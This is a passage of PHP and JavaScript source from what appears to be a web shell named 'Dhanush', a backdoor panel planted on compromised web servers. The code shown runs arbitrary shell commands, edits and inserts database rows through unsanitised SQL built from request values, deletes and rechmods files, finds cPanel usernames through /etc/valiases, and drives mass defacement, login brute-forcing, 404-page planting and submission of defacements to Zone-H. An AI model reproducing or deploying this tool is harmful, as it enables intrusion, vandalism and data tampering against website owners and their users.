  6087. echo "<th>Function</th>\n";
  6088. echo "<th>Data</th>\n";
  6089. echo "</tr>\n";
  6090.  
  6091. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  6092. $num = mysql_num_rows( $pResult );
  6093.  
  6094. $pResultLen = mysql_list_fields( $dbname, $tablename );
  6095. $fundata1 = "'action','editsubmitData','dbname','".$dbname."','tablename','".$tablename."',";
  6096. $fundata2 = "'action','insertdata','dbname','".$dbname."','tablename','".$tablename."',";
  6097. for( $i = 0; $i < $num; $i++ )
  6098. {
  6099. $field = mysql_fetch_array( $pResult );
  6100. $fieldname = $field["Field"];
  6101. $fieldtype = $field["Type"];
  6102. $len = mysql_field_len( $pResultLen, $i );
  6103.  
  6104. echo "<tr>";
  6105. echo "<td>$fieldname</td>";
  6106. echo "<td>".$field["Type"]."</td>";
  6107. echo "<td>\n";
  6108. echo "<select name=${fieldname}_function class=sbox>\n";
  6109. echo "<option>\n";
  6110. echo "<option>ASCII\n";
  6111. echo "<option>CHAR\n";
  6112. echo "<option>SOUNDEX\n";
  6113. echo "<option>CURDATE\n";
  6114. echo "<option>CURTIME\n";
  6115. echo "<option>FROM_DAYS\n";
  6116. echo "<option>FROM_UNIXTIME\n";
  6117. echo "<option>NOW\n";
  6118. echo "<option>PASSWORD\n";
  6119. echo "<option>PERIOD_ADD\n";
  6120. echo "<option>PERIOD_DIFF\n";
  6121. echo "<option>TO_DAYS\n";
  6122. echo "<option>USER\n";
  6123. echo "<option>WEEKDAY\n";
  6124. echo "<option>RAND\n";
  6125. echo "</select>\n";
  6126. echo "</td>\n";
  6127. $value = htmlspecialchars($data[$i]);
  6128. $type = strtok( $fieldtype, " (,)\n" );
  6129. if( $type == "enum" || $type == "set" )
  6130. {
  6131. echo "<td>\n";
  6132. if( $type == "enum" )
  6133. echo "<select name=$fieldname class=box>\n";
  6134. else if( $type == "set" )
  6135. echo "<select name=$fieldname size=4 class=box multiple>\n";
  6136. while( $str = strtok( "'" ) )
  6137. {
  6138. if( $value == $str )
  6139. echo "<option selected>$str\n";
  6140. else
  6141. echo "<option>$str\n";
  6142. strtok( "'" );
  6143. }
  6144. echo "</select>\n";
  6145. echo "</td>\n";
  6146. }
  6147. else
  6148. {
  6149. if( $len < 40 )
  6150. echo "<td><input type=text size=40 maxlength=$len id=dhanush_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>\n";
  6151. else
  6152. echo "<td><textarea cols=47 rows=3 maxlength=$len name=dhanush_$fieldname class=box>$value</textarea>\n";
  6153. }
  6154. $fundata1 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
  6155. $fundata2 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
  6156. echo "</tr>";
  6157. }
  6158. $fundata1=eregi_replace(',$', '', $fundata1);
  6159. $fundata2=eregi_replace(',$', '', $fundata2);
  6160.  
  6161. echo "</table><p>\n";
  6162. echo "<input type=button onClick=\"editdata($fundata1)\" value='Edit Data' class=but>\n";
  6163. echo "<input type=button value='Insert' onClick=\"editdata($fundata2)\" class=but>\n";
  6164. echo "</form>\n";
  6165. }
  6166. }
  6167. // Edit Submit Table Data
  6168. else if($_REQUEST['action'] == "editsubmitData")
  6169. {
  6170. $dbserver = $_COOKIE["dbserver"];
  6171. $dbuser = $_COOKIE["dbuser"];
  6172. $dbpass = $_COOKIE["dbpass"];
  6173. $dbname = $_POST['dbname'];
  6174. $tablename = $_POST['tablename'];
  6175.  
  6176. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  6177. mysql_select_db($dbname);
  6178.  
  6179. $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
  6180. $row = mysql_fetch_array($sql);
  6181. $row = $row['COLUMN_NAME'];
  6182. $rowid = $_POST[$row];
  6183.  
  6184. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  6185. $num = mysql_num_rows( $pResult );
  6186.  
  6187. $rowcount = $num;
  6188.  
  6189. $pResultLen = mysql_list_fields( $dbname, $tablename );
  6190.  
  6191. for( $i = 0; $i < $num; $i++ )
  6192. {
  6193. $field = mysql_fetch_array( $pResult );
  6194. $fieldname = $field["Field"];
  6195. $arrdata = $_REQUEST[$fieldname];
  6196.  
  6197. $str .= " " . $fieldname . " = '" . $arrdata . "'";
  6198. $rowcount--;
  6199. if($rowcount != 0)
  6200. $str .= ",";
  6201. }
  6202.  
  6203. $str = "update $tablename set" . $str . " where $row=$rowid";
  6204. mysql_query($str);
  6205. ?><div id="showsql"></div><?php
  6206. }
  6207. // Insert Table Data
  6208. else if($_REQUEST['action'] == "insertdata")
  6209. {
  6210. $dbserver = $_COOKIE["dbserver"];
  6211. $dbuser = $_COOKIE["dbuser"];
  6212. $dbpass = $_COOKIE["dbpass"];
  6213. $dbname = $_POST['dbname'];
  6214. $tablename = $_POST['tablename'];
  6215.  
  6216. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  6217. mysql_select_db($dbname);
  6218.  
  6219. $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
  6220. $row = mysql_fetch_array($sql);
  6221. $row = $row['COLUMN_NAME'];
  6222. $rowid = $_POST[$row];
  6223.  
  6224. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  6225. $num = mysql_num_rows( $pResult );
  6226.  
  6227. $rowcount = $num;
  6228.  
  6229. $pResultLen = mysql_list_fields( $dbname, $tablename );
  6230.  
  6231. for( $i = 0; $i < $num; $i++ )
  6232. {
  6233. $field = mysql_fetch_array( $pResult );
  6234. $fieldname = $field["Field"];
  6235. $arrdata = $_REQUEST[$fieldname];
  6236.  
  6237. $str1 .= "".$fieldname . ",";
  6238. $str2 .= "'".$arrdata . "',";
  6239. $rowcount--;
  6240. if($rowcount != 0)
  6241. {
  6242. //$str1 .= $fieldname . ",";
  6243. //$str2 .= $arrdata . ",";
  6244. }
  6245. }
  6246. $str1=eregi_replace(',$', '', $str1);
  6247. $str2=eregi_replace(',$', '', $str2);
  6248. $str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
  6249. mysql_query($str);
  6250.  
  6251. ?><div id="showsql"></div><?php
  6252. }
  6253. else if(isset($_GET['logoutdb']))
  6254. {
  6255. setcookie("dbserver",time() - 60*60);
  6256. setcookie("dbuser",time() - 60*60);
  6257. setcookie("dbpass",time() - 60*60);
  6258. header("Location:$self");
  6259. }
  6260. else if(isset($_POST['choice']))
  6261. {
  6262. if($_POST['choice'] == "delete")
  6263. {
  6264. $actbox = $_POST["actbox"];
  6265. echo '<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" />';
  6266.  
  6267. foreach ($actbox as $myv)
  6268. $myv = explode(",",$myv);
  6269. foreach ($myv as $v)
  6270. {
  6271. if(is_file($v))
  6272. {
  6273. if(unlink($v))
  6274. echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
  6275. else
  6276. echo "<br><center>Cannot Delete File $v</center>";
  6277. }
  6278. else if(is_dir($v))
  6279. {
  6280. rrmdir($v);
  6281. }
  6282. }
  6283. echo '<br>';
  6284. }
  6285. else if($_POST['choice'] == "chmod")
  6286. { ?>
  6287. <BR><form id="chform"><?php
  6288. $actbox1 = $_POST['actbox'];
  6289. foreach ($actbox1 as $myv)
  6290. $myv = explode(",",$myv);
  6291. foreach ($myv as $v)
  6292. { ?>
  6293. <input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
  6294. <?php }
  6295. ?>
  6296. <table align="center" border="3" style="width:40%; border-color:#333333;">
  6297. <tr>
  6298. <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  6299. </tr>
  6300. <tr>
  6301. <td colspan="2" align="center" style="height:60px">
  6302. <input type="button" onClick="myaction('changefileperms',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" />
  6303. <input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;" /></form></center>
  6304. </td>
  6305. </tr>
  6306. </table>
  6307.  
  6308. </form> <?php
  6309. }
  6310. else if($_POST['choice'] == "changefileperms")
  6311. {
  6312. if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
  6313. {
  6314. $actbox = $_POST["actbox"];
  6315. foreach ($actbox as $myv)
  6316. $myv = explode(",",$myv);
  6317. foreach ($myv as $v)
  6318. {
  6319. if(is_file($v) || is_dir($v))
  6320. {
  6321. $perms = 0;
  6322. for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
  6323. $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
  6324. echo "<div align=left style=width:60%;>";
  6325. if(@chmod($v,$perms))
  6326. echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
  6327. else
  6328. echo "Cannot Change $v File Permissions<br>";
  6329. echo "</div>";
  6330. }
  6331. }
  6332.  
  6333. }
  6334. }
  6335. else if($_POST['choice'] == "compre")
  6336. {
  6337. echo '<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" />';
  6338. $actbox = $_POST["actbox"];
  6339. foreach ($actbox as $myv)
  6340. $myv = explode(",",$myv);
  6341. foreach ($myv as $v)
  6342. {
  6343. if(is_file($v))
  6344. {
  6345. $zip = new ZipArchive();
  6346. $filename= basename($v) . '.zip';
  6347. if(($zip->open($filename, ZipArchive::CREATE))!==true)
  6348. { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
  6349. else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
  6350. $zip->addFile(basename($v));
  6351. $zip->close();
  6352. }
  6353. else if(is_dir($v))
  6354. {
  6355. if($os == "Linux")
  6356. {
  6357. $filename= basename($v);
  6358. execmd("tar --create --recursion --file=$filename.tar $v");
  6359. echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
  6360. }
  6361. else
  6362. echo "<BR>Cannot compress directory<BR><BR>";
  6363. }
  6364. }
  6365. echo '<BR><BR>';
  6366. }
  6367. else if($_POST['choice'] == "uncompre")
  6368. {
  6369. echo '<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" />';
  6370. $actbox = $_POST["actbox"];
  6371. foreach ($actbox as $myv)
  6372. $myv = explode(",",$myv);
  6373. foreach ($myv as $v)
  6374. {
  6375. if(is_file($v) || is_dir($v))
  6376. {
  6377. $zip = new ZipArchive;
  6378. $filename= basename($v);
  6379. $res = $zip->open($filename);
  6380. if ($res === TRUE)
  6381. {
  6382. $pieces = explode(".",$filename);
  6383. $zip->extractTo($pieces[0]);
  6384. $zip->close();
  6385. echo '<BR><font class=txt size=3>File '.$v.' Unzipped successfully</font>';
  6386. } else
  6387. echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
  6388. }
  6389. }
  6390. echo '<BR><BR>';
  6391. }
  6392. }
  6393. else if(isset($_GET['sitename']))
  6394. {
  6395. $sitename = str_replace("http://","",$_GET['sitename']);
  6396. $sitename = str_replace("http://www.","",$sitename);
  6397. $sitename = str_replace("www.","",$sitename);
  6398. $show = myexe("ls -la /etc/valiases/".$sitename);
  6399. if(!empty($show))
  6400. echo $show;
  6401. else
  6402. echo "Cannot get the username";
  6403. }
  6404. else if(isset($_GET['mydata']))
  6405. {
  6406. listdatabase();
  6407. }
  6408. else if(isset($_GET['home']))
  6409. {
  6410. mainfun($_GET['home']);
  6411. }
  6412. else if(isset($_GET['dir']))
  6413. {
  6414. mainfun($_GET['myfilepath']);
  6415. }
  6416. else if(isset($_GET['mydirpath']))
  6417. {
  6418. echo is_writable($_GET['mydirpath'])?"<font class=txt>&lt; writable &gt;</font>":"&lt; not writable &gt;";
  6419. }
  6420. else
  6421. {
  6422. ?>
  6423. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  6424. <title>Dhanush : By Arjun</title>
  6425. <script type="text/javascript">
  6426. checked = false;
  6427. var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
  6428. function checkedAll ()
  6429. {
  6430. if (checked == false){checked = true}else{checked = false}
  6431. for (var i = 0; i < document.getElementById('myform').elements.length; i++)
  6432. {
  6433. document.getElementById('myform').elements[i].checked = checked;
  6434. }
  6435. }
  6436. function change_style(mystyle)
  6437. {
  6438. window.location.href = '<?php echo $self; ?>?style='+mystyle;
  6439. }
  6440. function createsubdomain(cpaneluser,cpanelpass,noofsubdomain,subindex)
  6441. {
  6442. var params = "cpaneluser="+cpaneluser+"&cpanelpass="+cpanelpass+"&noofsubdomain="+noofsubdomain+"&subindex="+subindex;
  6443. document.getElementById("showmydata").innerHTML=waitstate;
  6444. var ajaxRequest;
  6445. ajaxRequest = new XMLHttpRequest();
  6446.  
  6447. ajaxRequest.onreadystatechange = function()
  6448. {
  6449. if(ajaxRequest.readyState == 3)
  6450. {
  6451. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  6452. }
  6453. }
  6454.  
  6455. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6456. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6457. ajaxRequest.send(params);
  6458. }
  6459. function massdeface(script,masswpdef,wpsym)
  6460. {
  6461. var params = "massscript="+script+"&massdef="+masswpdef+"&wpsym="+wpsym;
  6462. document.getElementById("showdef").innerHTML="<center><marquee scrollamount=4 width=150>It may take long time. Wait....</marquee></center>";
  6463. var ajaxRequest;
  6464. ajaxRequest = new XMLHttpRequest();
  6465.  
  6466. ajaxRequest.onreadystatechange = function()
  6467. {
  6468. if(ajaxRequest.readyState == 3)
  6469. {
  6470. document.getElementById("showdef").innerHTML=ajaxRequest.responseText;
  6471. }
  6472. }
  6473.  
  6474. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6475. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6476. ajaxRequest.send(params);
  6477. }
  6478. function urlchange(myfilepath)
  6479. {
  6480. var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
  6481. splitter = "<?php echo addslashes($directorysperator); ?>";
  6482. mypath = mpath = myfilepath.split(splitter);
  6483. <?php if($os == "Linux") { ?>
  6484. r = "/";
  6485. myurl = "<a href=javascript:void(0) onClick=\"changedir('dir','/')\">/</a>";
  6486. <?php } ?>
  6487. for (i = 0; i < mypath.length; i++)
  6488. {
  6489. if(mypath[i] == "")
  6490. continue;
  6491. r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
  6492.  
  6493. myurl += "<a href=javascript:void(0) onClick=\"changedir('dir','"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
  6494. }
  6495. myurl = myurl.replace(/\\/g,"\\\\");
  6496. return myurl;
  6497. }
  6498. function wrtblDIR(mydirpath)
  6499. {
  6500. var ajaxRequest;
  6501. ajaxRequest = new XMLHttpRequest();
  6502.  
  6503. ajaxRequest.onreadystatechange = function()
  6504. {
  6505. if(ajaxRequest.readyState == 4)
  6506. {
  6507. for(i=0;i<=3;i++)
  6508. document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
  6509. }
  6510. }
  6511.  
  6512. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydirpath="+mydirpath, true);
  6513. ajaxRequest.send(null);
  6514. }
  6515. function setpath(myfilpath)
  6516. {
  6517. wrtblDIR(myfilpath);
  6518. document.getElementById("path").value=myfilpath;
  6519. document.getElementById("createfile").value=myfilpath;
  6520. document.getElementById("readfile").value=myfilpath;
  6521. document.getElementById("readdir").value=myfilpath;
  6522. document.getElementById("createfolder").value=myfilpath;
  6523. document.getElementById("createfolder").value=myfilpath;
  6524. document.getElementById("exepath").value=myfilpath;
  6525. document.getElementById("auexepath").value=myfilpath;
  6526. document.getElementById("showdir").innerHTML="";
  6527. }
  6528. function changedir(myaction,myfilepath)
  6529. {
  6530. var myurl = urlchange(myfilepath);
  6531.  
  6532. document.getElementById("showmaindata").innerHTML=waitstate;
  6533. var ajaxRequest;
  6534. ajaxRequest = new XMLHttpRequest();
  6535.  
  6536. ajaxRequest.onreadystatechange = function()
  6537. {
  6538. if(ajaxRequest.readyState == 4)
  6539. {
  6540. setpath(myfilepath);
  6541. document.getElementById("crdir").innerHTML=myurl;
  6542. document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
  6543. }
  6544. }
  6545.  
  6546. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
  6547. ajaxRequest.send(null);
  6548. }
  6549. function gethome(myaction,mydir)
  6550. {
  6551. var myurl = urlchange(mydir);
  6552. document.getElementById("showmaindata").innerHTML=waitstate;
  6553. var ajaxRequest;
  6554. ajaxRequest = new XMLHttpRequest();
  6555.  
  6556. ajaxRequest.onreadystatechange = function()
  6557. {
  6558. if(ajaxRequest.readyState == 4)
  6559. {
  6560. document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
  6561. setpath(mydir);
  6562. document.getElementById("crdir").innerHTML=myurl;
  6563. }
  6564. }
  6565.  
  6566. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
  6567. ajaxRequest.send(null);
  6568. }
  6569. function getname(sitename)
  6570. {
  6571. document.getElementById("showsite").innerHTML=waitstate;
  6572. var ajaxRequest;
  6573. ajaxRequest = new XMLHttpRequest();
  6574.  
  6575. ajaxRequest.onreadystatechange = function()
  6576. {
  6577. if(ajaxRequest.readyState == 4)
  6578. {
  6579. document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
  6580. }
  6581. }
  6582.  
  6583. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
  6584. ajaxRequest.send(null);
  6585. }
  6586. function myaction(myfileaction,chmode)
  6587. {
  6588. var mytype = document.getElementsByName('actbox[]');
  6589. var mychoice = new Array();
  6590.  
  6591. for (var i = 0, length = mytype.length; i < length; i++)
  6592. {
  6593. if (mytype[i].checked)
  6594. mychoice[i] = mytype[i].value;
  6595. }
  6596.  
  6597. var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;
  6598.  
  6599. document.getElementById("showmydata").className = "fixedbox";
  6600. document.getElementById("showmydata").innerHTML=waitstate;
  6601. var ajaxRequest;
  6602. ajaxRequest = new XMLHttpRequest();
  6603.  
  6604. ajaxRequest.onreadystatechange = function()
  6605. {
  6606. if(ajaxRequest.readyState == 4)
  6607. {
  6608. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  6609. }
  6610. }
  6611.  
  6612. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6613. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6614. ajaxRequest.send(params);
  6615. }
  6616. function editdata()
  6617. {
  6618. var result = "", // initialize list
  6619. i,dbname,tablename;
  6620. // iterate through arguments
  6621. for (i = 1; i < arguments.length; i++)
  6622. {
  6623. if(i%2 == 0)
  6624. result += arguments[i]+'=';
  6625. else
  6626. result += arguments[i]+'&';
  6627. }
  6628. result = result.slice(0, -1);
  6629.  
  6630. dbname = arguments[3];
  6631. tablename = arguments[5];
  6632. var result=result.replace(/dhanush_/g,"");
  6633. var params = arguments[0]+"="+result;
  6634.  
  6635. document.getElementById("showsql").innerHTML=waitstate;
  6636. var ajaxRequest;
  6637. ajaxRequest = new XMLHttpRequest();
  6638.  
  6639. ajaxRequest.onreadystatechange = function()
  6640. {
  6641. if(ajaxRequest.readyState == 4)
  6642. {
  6643. viewtables('listTables',dbname,tablename);
  6644. }
  6645. }
  6646.  
  6647. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6648. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6649. ajaxRequest.send(params);
  6650. }
  6651. function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
  6652. {
  6653. document.getElementById("showsql").innerHTML=waitstate;
  6654. var ajaxRequest;
  6655. ajaxRequest = new XMLHttpRequest();
  6656.  
  6657. ajaxRequest.onreadystatechange = function()
  6658. {
  6659. if(ajaxRequest.readyState == 4)
  6660. {
  6661. document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
  6662. }
  6663. }
  6664.  
  6665. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
  6666. ajaxRequest.send(null);
  6667. }
  6668. function mydatabase(server,username,password)
  6669. {
  6670. document.getElementById("showsql").innerHTML=waitstate;
  6671. var ajaxRequest;
  6672. ajaxRequest = new XMLHttpRequest();
  6673.  
  6674. ajaxRequest.onreadystatechange = function()
  6675. {
  6676. if(ajaxRequest.readyState == 4)
  6677. {
  6678. mydatago();
  6679. }
  6680. }
  6681.  
  6682. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
  6683. ajaxRequest.send(null);
  6684. }
  6685. function mydatago()
  6686. {
  6687. var ajaxRequest;
  6688. ajaxRequest = new XMLHttpRequest();
  6689.  
  6690. ajaxRequest.onreadystatechange = function()
  6691. {
  6692. if(ajaxRequest.readyState == 4)
  6693. {
  6694. document.getElementById("datatable").style.display = 'none';
  6695. document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
  6696. }
  6697. }
  6698.  
  6699. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
  6700. ajaxRequest.send(null);
  6701. }
  6702. function bruteforce(prototype,serverport,login,dict)
  6703. {
  6704. var mytype = document.getElementsByName('mytype');
  6705. for (var i = 0, length = mytype.length; i < length; i++)
  6706. {
  6707. if (mytype[i].checked)
  6708. break;
  6709. }
  6710. var getreverse = 0;
  6711. if(document.getElementById('reverse').checked == true)
  6712. getreverse = 1;
  6713. else
  6714. getreverse = 0;
  6715.  
  6716. document.getElementById("showbrute").innerHTML=waitstate;
  6717. var ajaxRequest;
  6718. ajaxRequest = new XMLHttpRequest();
  6719.  
  6720. ajaxRequest.onreadystatechange = function()
  6721. {
  6722. if(ajaxRequest.readyState == 4)
  6723. {
  6724. document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
  6725. }
  6726. }
  6727.  
  6728. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
  6729. ajaxRequest.send(null);
  6730. }
  6731. function executemyfile(action,executepath,execute)
  6732. {
  6733. document.getElementById("showmydata").className = "fixedbox";
  6734. document.getElementById("showmydata").innerHTML=waitstate;
  6735. var ajaxRequest;
  6736. ajaxRequest = new XMLHttpRequest();
  6737.  
  6738. ajaxRequest.onreadystatechange = function()
  6739. {
  6740. if(ajaxRequest.readyState == 4)
  6741. {
  6742. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  6743. }
  6744. }
  6745.  
  6746. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
  6747. ajaxRequest.send(null);
  6748. }
  6749. function maindata(myaction,dir)
  6750. {
  6751. document.getElementById("showmaindata").innerHTML=waitstate;
  6752. var ajaxRequest;
  6753. ajaxRequest = new XMLHttpRequest();
  6754.  
  6755. ajaxRequest.onreadystatechange = function()
  6756. {
  6757. if(ajaxRequest.readyState == 4)
  6758. {
  6759. document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
  6760. document.getElementById("showdir").innerHTML="";
  6761. }
  6762. }
  6763.  
  6764. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
  6765. ajaxRequest.send(null);
  6766. }
  6767. function manuallyscriptfn(sctype,passwd)
  6768. {
  6769. var message = encodeURIComponent(passwd);
  6770. var params = sctype+"="+sctype+"&passwd="+passwd;
  6771. document.getElementById("showdata").innerHTML=waitstate;
  6772. var ajaxRequest;
  6773. ajaxRequest = new XMLHttpRequest();
  6774.  
  6775. ajaxRequest.onreadystatechange = function()
  6776. {
  6777. if(ajaxRequest.readyState == 3)
  6778. {
  6779. document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
  6780. }
  6781. }
  6782.  
  6783. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6784. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6785. ajaxRequest.send(params);
  6786. }
  6787. function my404page(message)
  6788. {
  6789. var message = encodeURIComponent(message);
  6790. var params = "404page=404page&message="+message;
  6791. document.getElementById("showdata").innerHTML=waitstate;
  6792. var ajaxRequest;
  6793. ajaxRequest = new XMLHttpRequest();
  6794.  
  6795. ajaxRequest.onreadystatechange = function()
  6796. {
  6797. if(ajaxRequest.readyState == 4)
  6798. {
  6799. document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
  6800. }
  6801. }
  6802.  
  6803. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6804. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6805. ajaxRequest.send(params);
  6806. }
  6807. function executemyfn(executepath,executemycmd)
  6808. {
  6809. var ajaxRequest,app;
  6810. ajaxRequest = new XMLHttpRequest();
  6811.  
  6812. ajaxRequest.onreadystatechange = function()
  6813. {
  6814. if(ajaxRequest.readyState == 4)
  6815. {
  6816. app = "$ " + executemycmd + " : " + ajaxRequest.responseText + "\n";
  6817. document.getElementById("showexecute").innerHTML=app+document.getElementById("showexecute").innerHTML;
  6818. }
  6819. }
  6820.  
  6821. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
  6822. ajaxRequest.send(null);
  6823. }
  6824. function zoneh(defacer,hackmode,reason,domain)
  6825. {
  6826. var domain = encodeURIComponent(domain);
  6827. var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
  6828. document.getElementById("showzone").innerHTML=waitstate;
  6829. var ajaxRequest;
  6830. ajaxRequest = new XMLHttpRequest();
  6831.  
  6832. ajaxRequest.onreadystatechange = function()
  6833. {
  6834. if(ajaxRequest.readyState == 4)
  6835. {
  6836. document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
  6837. }
  6838. }
  6839.  
  6840. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6841. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6842. ajaxRequest.send(params);
  6843. }
  6844. function savemyfile(file,content)
  6845. {
  6846. var content = encodeURIComponent(content);
  6847. var params = "content="+content+"&file="+file;
  6848. document.getElementById("showmydata").innerHTML=waitstate;
  6849. document.getElementById("showdir").innerHTML="";
  6850. var ajaxRequest;
  6851. ajaxRequest = new XMLHttpRequest();
  6852.  
  6853. ajaxRequest.onreadystatechange = function()
  6854. {
  6855. if(ajaxRequest.readyState == 4)
  6856. {
  6857. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  6858. }
  6859. }
  6860.  
  6861. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6862. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6863. ajaxRequest.send(params);
  6864. }
  6865. function renamefun(file,to)
  6866. {
  6867. document.getElementById("showmydata").innerHTML=waitstate;
  6868. var ajaxRequest;
  6869. ajaxRequest = new XMLHttpRequest();
  6870.  
  6871. ajaxRequest.onreadystatechange = function()
  6872. {
  6873. if(ajaxRequest.readyState == 4)
  6874. {
  6875. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  6876. }
  6877. }
  6878.  
  6879. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
  6880. ajaxRequest.send(null);
  6881. }
  6882. function changeperms(chmode,myfilename)
  6883. {
  6884. document.getElementById("showmydata").innerHTML=waitstate;
  6885. var ajaxRequest;
  6886. ajaxRequest = new XMLHttpRequest();
  6887.  
  6888. ajaxRequest.onreadystatechange = function()
  6889. {
  6890. if(ajaxRequest.readyState == 4)
  6891. {
  6892. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  6893. }
  6894. }
  6895.  
  6896. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
  6897. ajaxRequest.send(null);
  6898. }
  6899. function defacefun(deface)
  6900. {
  6901. var ajaxRequest;
  6902. ajaxRequest = new XMLHttpRequest();
  6903.  
  6904. ajaxRequest.onreadystatechange = function()
  6905. {
  6906. if(ajaxRequest.readyState == 4)
  6907. {
  6908. alert(ajaxRequest.responseText);
  6909. }
  6910. }
  6911.  
  6912. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
  6913. ajaxRequest.send(null);
  6914. }
  6915. function cancel()
  6916. {
  6917. document.getElementById("showmydata").className = "";
  6918. document.getElementById("showmydata").innerHTML='';
  6919. }
